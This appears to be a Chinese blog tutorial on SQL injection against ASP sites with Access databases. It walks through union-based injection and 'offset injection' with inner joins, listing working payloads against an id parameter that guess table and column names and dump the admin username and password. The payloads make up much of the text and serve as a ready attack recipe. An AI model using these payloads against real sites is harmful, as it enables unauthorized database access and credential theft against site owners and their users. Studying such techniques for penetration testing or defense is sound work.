web-Access注入

看到网站上面有asp的就要联想到access数据库

方法一:

1.判断出整型注入

?id=1513 and 1=2

2.判断出列数为22列

?id=1513 order by 22

3.猜表名

回显正常说明存在这个表,回显不正常的话说明这个表就是不存在的。这里猜到表名为admin

?id=1513 and exists(select * from admin)

4.猜字段

回显正常说明存在这个字段在admin表下

 ?id=1513 and exists(select admin from admin)-

?id=1513 and exists(select password from admin)

5.看数据的回显位置

?id=1513 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

在页面上面的话,3和5是回显点

 查看页面源代码,查看下隐藏的回显位置,可以看到:3、9、13、15 都可以正常回显

6.读取字段下的数据

直接在回显点上写上我们猜出来的字段名,查看回显就可以

?id=1513 and 1=2 union select 1,2,admin,4,5,6,7,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

方法二:偏移注入

(此方法适用于猜出表名,猜不出字段名的情况)

知识点:

        exist()函数:用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False。

        as关键字:用于起别名,可以为表起别名,也可以为字段起别名(as关键字可省略)

        表1 inner join 表2 on 筛选条件 :该关键字用于将表1与表2做笛卡尔积,然后根据on后面的条件进行筛选。

        后面payload中的:admin as a inner join admin as b on a.id=b.id 的目的其实就是为了增加一张表,占用掉后面的字段,让起向前移动要查询表所占字段。从而是要查询的字段下的数据到达可回显的位置。就比如admin表有6个字段,就会向前在占用6个字段,一共占用12个字段。

        top n 关键字:作用是使查询结果只显示前n条记录

联合查询前面(union select后面)所要补充的字段数 = 当前表的字段数 - 目标表的字段数 x N(N=1,2…)

1.判断出整型注入

?id=1513 and 1=2

 2.判断出列数为22列

?id=1513 order by 22

3.看数据的回显位置

?id=1513 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

4..判断admin的字段数

?id=1513 and exists(select * from admin order by 6)

或者

?id=1513 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin

#当前表总共是22列,admin在17的位置的时候回显是正常的,说明了admin表的字段数为22-16=6列

跟之前一样,回显正常就代表我们的猜测正确

5.开始偏移注入

一级偏移注入:

联合查询需要在前面补充的字段数:22-1*6=16

?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, admin.* from admin

 此时并没有爆出任何的数据。因为回显位置为3,5,9,13,此时admin表的字段排在17后面,当然爆不出数据。开始尝试二级偏移注入

二级偏移注入:

方法①:

联合查询需要在前面补充的字段数:22-2*6=10

union select top 1 1,2,3,4,5,6,7,8,9,10,admin.*,17,18,19,20,21,22 from admin

这个时候在网页爆出了时间的数据

 查看下页面的源代码,可以看到爆出来密码。此时,时间和密码的回显位置分别是在13和15的位置上爆出来的。

方法 ②:

?id=1513 union select 1,2,3,4,5,6,7,8,9,10, * from (admin as a inner join admin as b on a.id=b.id)

        1.这个做法是将admin这张表拆分成admin两张表,然后通过inner join将表的id相同的内容展示出来。因为a表和b表都是admin表,所以id肯定是相同的。(id可以换成其他字段,但是一定得存在。一般admin表都存在id字段)

        2.因为增加了一张admin表,所以还要再减去六个字段的位置,两张表总共占12个字段的位置。就原来的1,2,3,4,5,6,7,8,9,10,*,17,18,19,20,21,22 变成1,2,3,4,5,6,7,8,9,10,*。

        3.通过判断知道,admin表的第三个字段是密码,第五个字段是时间

此时,还是没有爆出我们所需要的用户名,进行3级偏移

3级偏移:

加表偏移

?id=1513 union select top 1 1,2,3,4, * from((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

 或者

直接偏移

?id=1513 union select top 1 1,2,3,4, admin.* ,11,12,13,14,15,16,17,18,19,20,21,22 from admin

又爆出时间,因为偏移完之后,刚好又是时间的字段在回显位置9上。

此时也无法进行4级偏移。

原因:联合查询补充字段数=当前表的字段数-目标表的字段数 x 4 ==> 22-6x4=-2<0,即:会造成union关键字之前的select查询字段数的数量 < union关键字之后的字段数量,从而导致查询失败。

这个时候换一种新姿势,让数据往后位移一个字段。若猜解出1个字段名,那么我们就可以让数据向后移动1个字段数,若猜解出2个字段名,那么我们就可以让数据向后移动2个字段数,以此类推。(不过这里所需要猜解的字段名不需要是我们想要查找的字段名,只要是admin表中的字段名均可)

调整payload:

?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,b.id, * from (admin a inner join admin b on a.id=b.id)

这里有一个需要注意的点是,只能用b表的字段,具体是什么原因不清楚。

可以看到在源代码中爆出了admin字段的用户名admin

 ?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,b.password,b.id,b.admin, * from (admin a inner join admin b on a.id=b.id)

要是可以多猜到几个字段的话,也可以直接在页面15的位置显示出来admin字段用户名。

所以可以判断出admin用户名在password前一个字段。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

偷吃"游"的阿彪

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值